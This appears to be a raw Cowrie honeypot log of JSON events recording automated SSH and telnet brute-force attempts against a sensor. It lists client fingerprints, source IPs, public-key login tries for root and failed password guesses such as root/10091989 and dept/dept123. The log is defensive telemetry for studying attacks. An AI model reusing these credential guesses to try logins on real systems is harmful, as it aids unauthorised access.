{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:42.725082Z","src_ip":"103.77.175.15","session":"37257b75f0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10091989","message":"login attempt [root/10091989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:43.499444Z","src_ip":"103.77.175.15","session":"37257b75f0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:44.758538Z","src_ip":"103.77.175.15","session":"37257b75f0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":40018,"dst_ip":"159.203.135.109","dst_port":22,"session":"99306d74ac88","protocol":"ssh","message":"New connection: 209.227.244.120:40018 (159.203.135.109:22) [session: 99306d74ac88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:49.990682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:49.994453Z","src_ip":"209.227.244.120","session":"99306d74ac88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:50.082811Z","src_ip":"209.227.244.120","session":"99306d74ac88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cse","password":"123456","message":"login attempt [cse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:50.470755Z","src_ip":"209.227.244.120","session":"99306d74ac88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":49790,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d89ef5b6d8","protocol":"ssh","message":"New connection: 198.46.134.148:49790 (10.17.0.5:22) [session: 14d89ef5b6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.189449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.251710Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.278888Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:5a:92:12:da:b6:8b:f6:4a:14:21:de:a7:d3:c1:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8TaEyEc1fjfDulTwSSzCqFVq8dixxgOs0WdiCWx4mmPcVYtx42ognETHAunQsVWb/PUgmAvHJg6QjDXwTdCg43FOJ586RFVPs2/c3Xli6p496FcglaPsKb/oHz021jSjjh9QDNYGJBfzTkF1hG1jEoMK2P75T/faYhqyOnY4cz6DUL/NS3E41oitzZOIfPapU3F8iKEzOwdShXPmPoX/JnhIXlEcOtpJLLWfH2aYy//38XAbjm4GDrZVtYZL++0iemlr2CStgJu4mePahuG8UQY2w0+5iy9moG3zLgKEQnKcmucFlxyIgwdOUdhMNwkyQoLJEGSeFuwr8X41hTNxb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:5a:92:12:da:b6:8b:f6:4a:14:21:de:a7:d3:c1:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.403293Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:5a:92:12:da:b6:8b:f6:4a:14:21:de:a7:d3:c1:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8TaEyEc1fjfDulTwSSzCqFVq8dixxgOs0WdiCWx4mmPcVYtx42ognETHAunQsVWb/PUgmAvHJg6QjDXwTdCg43FOJ586RFVPs2/c3Xli6p496FcglaPsKb/oHz021jSjjh9QDNYGJBfzTkF1hG1jEoMK2P75T/faYhqyOnY4cz6DUL/NS3E41oitzZOIfPapU3F8iKEzOwdShXPmPoX/JnhIXlEcOtpJLLWfH2aYy//38XAbjm4GDrZVtYZL++0iemlr2CStgJu4mePahuG8UQY2w0+5iy9moG3zLgKEQnKcmucFlxyIgwdOUdhMNwkyQoLJEGSeFuwr8X41hTNxb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.406609Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:20:89:e3:49:91:93:81:6d:76:01:64:fe:c4:dc:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbsi+henId6RSjBV9jJn45hs7/ErfhTe7XcR2OKytfh9J5LUmQ0gsmZmeGLvQ8wnFE5gRmGh9jMfKt9crOzya+jphF2daMBcmOXkP1imtZl6GEpEWGLRBjD0fbthJxAAYdaMx29ZEe1HlR4eLVNHTxkCIhAXJf9d9KP0j8jl4MKrFH6kvnOvAp/D09wCHzyjGeJfn2rqxWJkzkpdbfUuZWCelVTbX8GiXnwtiyjTlrsfyWY40M6vVH2IvLm7FR4kQSULdx7quERLiI3NUznWjle5U1a0JeMmxdEQNhl/DNPhuUKDmHDZaXtfCWPmzl28V1HxKVjy+ddRdT3QvW0AHX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:20:89:e3:49:91:93:81:6d:76:01:64:fe:c4:dc:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.436386Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:20:89:e3:49:91:93:81:6d:76:01:64:fe:c4:dc:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbsi+henId6RSjBV9jJn45hs7/ErfhTe7XcR2OKytfh9J5LUmQ0gsmZmeGLvQ8wnFE5gRmGh9jMfKt9crOzya+jphF2daMBcmOXkP1imtZl6GEpEWGLRBjD0fbthJxAAYdaMx29ZEe1HlR4eLVNHTxkCIhAXJf9d9KP0j8jl4MKrFH6kvnOvAp/D09wCHzyjGeJfn2rqxWJkzkpdbfUuZWCelVTbX8GiXnwtiyjTlrsfyWY40M6vVH2IvLm7FR4kQSULdx7quERLiI3NUznWjle5U1a0JeMmxdEQNhl/DNPhuUKDmHDZaXtfCWPmzl28V1HxKVjy+ddRdT3QvW0AHX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.439309Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:2c:08:8a:22:f1:e7:e0:3b:2d:62:d1:5a:fc:f5:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnhM6YF4AvbN/aTnIhKm33R3zYl6nNEHuqWEUv2FjaqdWCFkyAu/gQEnFdfapV+ezawoMoSaXOesGvIT2uPXf68cJLqvGd2RYsIlXnmGC0glkYhzdsoDo1KNkR6dGl4MRSbnnXay2Ntjw2xZNqP2cHr7iOSx3HH28iD95mM+DHDkVNo602vc9dDssarULuiDrxB2qh/FCVt1Rhxe7RVaqOQDjvtURDkjm7QBf99A98FlkcPPq53xsvDDurApshNRbvUAm26g+i1i0oNIslq0JQ2Q9EDbUcV8bwuYw+RoaIdheFzxd8l+iX3UxswrnxX/WimUhGwVpZBk/t1tbfB20X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:2c:08:8a:22:f1:e7:e0:3b:2d:62:d1:5a:fc:f5:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.468263Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:2c:08:8a:22:f1:e7:e0:3b:2d:62:d1:5a:fc:f5:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnhM6YF4AvbN/aTnIhKm33R3zYl6nNEHuqWEUv2FjaqdWCFkyAu/gQEnFdfapV+ezawoMoSaXOesGvIT2uPXf68cJLqvGd2RYsIlXnmGC0glkYhzdsoDo1KNkR6dGl4MRSbnnXay2Ntjw2xZNqP2cHr7iOSx3HH28iD95mM+DHDkVNo602vc9dDssarULuiDrxB2qh/FCVt1Rhxe7RVaqOQDjvtURDkjm7QBf99A98FlkcPPq53xsvDDurApshNRbvUAm26g+i1i0oNIslq0JQ2Q9EDbUcV8bwuYw+RoaIdheFzxd8l+iX3UxswrnxX/WimUhGwVpZBk/t1tbfB20X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.471008Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:26:fe:e2:79:30:c8:ed:e4:4b:5b:15:cf:93:3b:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPT0ivXOjnNlM6RwbgThJFh9byaLfNXh0gIqhaJZCY3JhnFJ/+/1xfzMrMFJG/trwB1OJg96E4kterGXHanvEnzyuemz5uUw39XfQA9m/w87tSaJvvAv3mAD+Niv6mZpOQ3HEpwi7HQ8Hhkym80iq/U0z9ZJ+YATI4RfmwEcI9z9uSDwBI3sD6ljCQK409czi30Y0Xhq2bblsmIeidcTDrdKGaa4m1p4/RMXg5UQ6w3LAFAKKCcAyGBZ9BA2SUbKwfIIpDnQFlQ3dfdhehc7Nqz5120m9s/1+FprOAdl4Q07Pyhx0dd4WsIPM992nQyh5hRnbqx3ddDDFJhBAuaFVL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:26:fe:e2:79:30:c8:ed:e4:4b:5b:15:cf:93:3b:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.499958Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:26:fe:e2:79:30:c8:ed:e4:4b:5b:15:cf:93:3b:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPT0ivXOjnNlM6RwbgThJFh9byaLfNXh0gIqhaJZCY3JhnFJ/+/1xfzMrMFJG/trwB1OJg96E4kterGXHanvEnzyuemz5uUw39XfQA9m/w87tSaJvvAv3mAD+Niv6mZpOQ3HEpwi7HQ8Hhkym80iq/U0z9ZJ+YATI4RfmwEcI9z9uSDwBI3sD6ljCQK409czi30Y0Xhq2bblsmIeidcTDrdKGaa4m1p4/RMXg5UQ6w3LAFAKKCcAyGBZ9BA2SUbKwfIIpDnQFlQ3dfdhehc7Nqz5120m9s/1+FprOAdl4Q07Pyhx0dd4WsIPM992nQyh5hRnbqx3ddDDFJhBAuaFVL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.503232Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:88:33:d5:5f:7b:e9:4c:cf:86:d3:ef:79:0b:2e:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbFRpcVX6Ys5yaGaS3KzZ17qLDfhZyNvHEDLGTMdx+kNDZtLW8IyyZ2JFCAnAR/m7vytb2l7a8kdt6OhMU0v452NGkT+Obg4IheePu8jadw2i6QgmX7JWyPvsClJL3oAPXuI20E1y7OWi/d5T9PP5fo99E7gHg3OsZBiR4ACsj9+rnImdAF17pufCDKBOBlAu4wZm4hQL6nXWCohDqbO+DZ/7m4AYwcVIMRN2YPEi4M38La+BOzEQ2EO6CkRua8kKt53Iv1KsKgVCOYW+a5QF94WfjqMtJe9zENUEUFoJhBr5mUOWY7leaB29b+pwJN9pVxAjxwFc5AZbY9d29rtB3Rh3wD6y1lBfYEutv1VBbNl5fNOPdxx8R/eEZSY2V6R1b9XpSJQYxvEOiNa44I/3J057krfkullrgKEoHFat7/I+iu49vQq8ldAowurGI3Key2OUFaUQTuRJj3wMzQmlmVVor4sR/B0ybj83DpeyG6I5w44L1odbbmZd6nxm4FdE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:88:33:d5:5f:7b:e9:4c:cf:86:d3:ef:79:0b:2e:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.532374Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:88:33:d5:5f:7b:e9:4c:cf:86:d3:ef:79:0b:2e:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbFRpcVX6Ys5yaGaS3KzZ17qLDfhZyNvHEDLGTMdx+kNDZtLW8IyyZ2JFCAnAR/m7vytb2l7a8kdt6OhMU0v452NGkT+Obg4IheePu8jadw2i6QgmX7JWyPvsClJL3oAPXuI20E1y7OWi/d5T9PP5fo99E7gHg3OsZBiR4ACsj9+rnImdAF17pufCDKBOBlAu4wZm4hQL6nXWCohDqbO+DZ/7m4AYwcVIMRN2YPEi4M38La+BOzEQ2EO6CkRua8kKt53Iv1KsKgVCOYW+a5QF94WfjqMtJe9zENUEUFoJhBr5mUOWY7leaB29b+pwJN9pVxAjxwFc5AZbY9d29rtB3Rh3wD6y1lBfYEutv1VBbNl5fNOPdxx8R/eEZSY2V6R1b9XpSJQYxvEOiNa44I/3J057krfkullrgKEoHFat7/I+iu49vQq8ldAowurGI3Key2OUFaUQTuRJj3wMzQmlmVVor4sR/B0ybj83DpeyG6I5w44L1odbbmZd6nxm4FdE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.535441Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.562363Z","src_ip":"209.227.244.120","session":"99306d74ac88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:51.567017Z","src_ip":"198.46.134.148","session":"14d89ef5b6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.59003138542175,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:15.352509Z","src_ip":"128.199.8.54","session":"cfcc35db22a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.0749785900116,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:18.321956Z","src_ip":"172.81.62.90","session":"fce21f7642bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":39016,"dst_ip":"10.17.0.5","dst_port":22,"session":"5376519cc9ef","protocol":"ssh","message":"New connection: 34.100.248.63:39016 (10.17.0.5:22) [session: 5376519cc9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:20.021464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:20.030929Z","src_ip":"34.100.248.63","session":"5376519cc9ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:20.274828Z","src_ip":"34.100.248.63","session":"5376519cc9ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46142,"dst_ip":"159.203.135.109","dst_port":22,"session":"362fcc8a3e74","protocol":"ssh","message":"New connection: 103.172.78.219:46142 (159.203.135.109:22) [session: 362fcc8a3e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:20.892797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:20.896858Z","src_ip":"103.172.78.219","session":"362fcc8a3e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:21.144290Z","src_ip":"103.172.78.219","session":"362fcc8a3e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dept","password":"dept123","message":"login attempt [dept/dept123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:21.283617Z","src_ip":"34.100.248.63","session":"5376519cc9ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"babies","message":"login attempt [root/babies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:21.889037Z","src_ip":"103.172.78.219","session":"362fcc8a3e74","protocol":"ssh"}
